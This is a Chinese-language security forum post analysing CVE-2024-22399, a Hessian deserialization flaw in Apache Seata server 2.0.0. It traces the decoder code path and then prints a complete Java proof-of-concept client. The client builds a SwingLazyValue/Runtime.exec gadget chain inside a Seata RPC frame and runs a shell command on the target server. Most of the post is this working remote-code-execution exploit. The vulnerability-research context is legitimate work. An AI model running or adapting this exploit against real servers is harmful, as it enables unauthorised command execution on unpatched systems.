CVE-2024-22399 Apache Seata Hessian反序列化漏洞
co_w**** 发表于 湖北 漏洞分析 1632浏览 · 2024-09-18 06:38

早上邮件收到一份漏洞预警信息:https://www.oscs1024.com/hd/MPS-dhq6-1iyr
看了看漏洞描述,很直接的Hessian反序列化,不过看补丁的修复,这里后面应该还会爆洞,简单分析一下。

补丁issue:

直接下载编译好的Server端,启动时候看进程是直接java -jar运行seata-server.jar,这个jar包里面有个Server类,用的Netty,找个decoder在io.seata.core.rpc.netty.v1.ProtocolV1Decoder下断点就行。(测试版本2.0.0)

ProtocolV1Decoder里面有个decodeFrame方法,具体如下:

public Object decodeFrame(ByteBuf frame) {
        byte b0 = frame.readByte();
        byte b1 = frame.readByte();
        if (ProtocolConstants.MAGIC_CODE_BYTES[0] == b0 && ProtocolConstants.MAGIC_CODE_BYTES[1] == b1) {
            byte version = frame.readByte();
            int fullLength = frame.readInt();
            short headLength = frame.readShort();
            byte messageType = frame.readByte();
            byte codecType = frame.readByte();
            byte compressorType = frame.readByte();
            int requestId = frame.readInt();
            RpcMessage rpcMessage = new RpcMessage();
            rpcMessage.setCodec(codecType);
            rpcMessage.setId(requestId);
            rpcMessage.setCompressor(compressorType);
            rpcMessage.setMessageType(messageType);
            int headMapLength = headLength - 16;
            if (headMapLength > 0) {
                Map<String, String> map = HeadMapSerializer.getInstance().decode(frame, headMapLength);
                rpcMessage.getHeadMap().putAll(map);
            }

            if (messageType == 3) {
                rpcMessage.setBody(HeartbeatMessage.PING);
            } else if (messageType == 4) {
                rpcMessage.setBody(HeartbeatMessage.PONG);
            } else {
                int bodyLength = fullLength - headLength;
                if (bodyLength > 0) {
                    byte[] bs = new byte[bodyLength];
                    frame.readBytes(bs);
                    Compressor compressor = CompressorFactory.getCompressor(compressorType);
                    bs = compressor.decompress(bs);
                    Serializer serializer = SerializerServiceLoader.load(SerializerType.getByCode(rpcMessage.getCodec()));
                    rpcMessage.setBody(serializer.deserialize(bs));
                }
            }

            return rpcMessage;
        } else {
            throw new IllegalArgumentException("Unknown magic code: " + b0 + ", " + b1);
        }
    }

主要是后面的部分:

Serializer serializer = SerializerServiceLoader.load(SerializerType.getByCode(rpcMessage.getCodec()));
                    rpcMessage.setBody(serializer.deserialize(bs));

SerializerType是个枚举类,当值为byte 22的时候返回一个hessian反序列化器:

public enum SerializerType {
    SEATA((byte)1),
    PROTOBUF((byte)2),
    KRYO((byte)4),
    FST((byte)8),
    HESSIAN((byte)22),
    JACKSON((byte)50);
}

对应的deserialize如下:

public <T> T deserialize(byte[] bytes) {
        T obj = null;

        try {
            ByteArrayInputStream is = new ByteArrayInputStream(bytes);
            Throwable var4 = null;

            try {
                Hessian2Input input = new Hessian2Input(is);
                obj = input.readObject();
                input.close();
            } catch (Throwable var14) {
                var4 = var14;
                throw var14;
            } finally {
                if (is != null) {
                    if (var4 != null) {
                        try {
                            is.close();
                        } catch (Throwable var13) {
                            var4.addSuppressed(var13);
                        }
                    } else {
                        is.close();
                    }
                }

            }
        } catch (IOException var16) {
            LOGGER.error("Hessian decode error:{}", var16.getMessage(), var16);
        }

        return obj;
    }

流程很简单,然后根据ProtocolV1Decoder对应的ProtocolV1Encoder重写一下构造Client即可,Poc如下:

package org.example;

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import io.netty.bootstrap.Bootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.MessageToByteEncoder;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.seata.core.protocol.RpcMessage;
import io.seata.core.compressor.Compressor;
import io.seata.core.compressor.CompressorFactory;
import io.seata.core.rpc.netty.v1.HeadMapSerializer;
import io.seata.serializer.hessian.HessianSerializerFactory;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Map;

import static io.seata.common.util.ReflectionUtil.setFieldValue;

public class SeataPoc {
    public SeataPoc() {
    }

    public void SendPoc(String host,int port) throws InterruptedException {
        EventLoopGroup group = new NioEventLoopGroup();
        try {
            Bootstrap bootstrap = new Bootstrap();
            bootstrap.group(group)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(new HessianEncoder());
                            ch.pipeline().addLast(new SendPocHandler());
                        }
                    });
            // 连接到服务器
            ChannelFuture future = bootstrap.connect(host, port).sync();
            // 等待连接关闭
            future.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

    private class HessianEncoder extends MessageToByteEncoder {
        public HessianEncoder() {
        }

        public void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) {
            try {
                if (!(msg instanceof RpcMessage)) {
                    throw new UnsupportedOperationException("Not support this class:" + msg.getClass());
                }

                RpcMessage rpcMessage = (RpcMessage)msg;
                int fullLength = 16;
                int headLength = 16;
                byte messageType = rpcMessage.getMessageType();
                out.writeBytes(new byte[]{-38, -38});
                out.writeByte(1);
                out.writerIndex(out.writerIndex() + 6);
                out.writeByte(messageType);
                out.writeByte(rpcMessage.getCodec());
                out.writeByte(rpcMessage.getCompressor());
                out.writeInt(rpcMessage.getId());
                Map<String, String> headMap = rpcMessage.getHeadMap();
                if (headMap != null && !headMap.isEmpty()) {
                    int headMapBytesLength = HeadMapSerializer.getInstance().encode(headMap, out);
                    headLength += headMapBytesLength;
                    fullLength += headMapBytesLength;
                }

                byte[] bodyBytes = null;
                if (messageType != 3 && messageType != 4) {

                    SerializerFactory hessian = HessianSerializerFactory.getInstance();
                    hessian.setAllowNonSerializable(true);
                    byte[] stream = null;
                    try {
                        com.caucho.hessian.io.Serializer serializer1 = hessian.getSerializer(rpcMessage.getBody().getClass());
                        ByteArrayOutputStream baos = new ByteArrayOutputStream();
                        Hessian2Output output = new Hessian2Output(baos);
                        output.getSerializerFactory().setAllowNonSerializable(true);
                        serializer1.writeObject(rpcMessage.getBody(), output);
                        output.close();
                        stream = baos.toByteArray();
                    } catch (IOException var7) {
                        System.out.println(var7);
                    }

                    bodyBytes = stream;

                    Compressor compressor = CompressorFactory.getCompressor(rpcMessage.getCompressor());
                    bodyBytes = compressor.compress(bodyBytes);
                    fullLength += bodyBytes.length;
                }

                if (bodyBytes != null) {
                    out.writeBytes(bodyBytes);
                }

                int writeIndex = out.writerIndex();
                out.writerIndex(writeIndex - fullLength + 3);
                out.writeInt(fullLength);
                out.writeShort(headLength);
                out.writerIndex(writeIndex);
            } catch (Throwable var12) {
                System.out.println(var12);
            }

        }
    }

    private class SendPocHandler extends ChannelInboundHandlerAdapter {
        @Override
        public void channelActive(ChannelHandlerContext ctx) throws Exception{
            // 连接成功时发送消息
            RpcMessage rpcMessage = new RpcMessage();
            rpcMessage.setCodec((byte) 22);
            // evil Object
            rpcMessage.setBody(GenObject("touch /tmp/123"));
            ctx.writeAndFlush(rpcMessage);
        }

        public Object GenObject(String cmd) throws Exception{
            UIDefaults uiDefaults = new UIDefaults();
            Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
            Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);

            SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});

            uiDefaults.put("xxx", slz);
            MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();

            setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);

            return mimeTypeParameterList;

        }

    }

    public static void main(String[] args) throws Exception{
        SeataPoc seataPoc = new SeataPoc();
        seataPoc.SendPoc("127.0.0.1", 8091);

    }

}

PS:本地测了下可以执行,但是发送多次程序会崩溃掉。

0 条评论
某人
表情
可输入 255
目录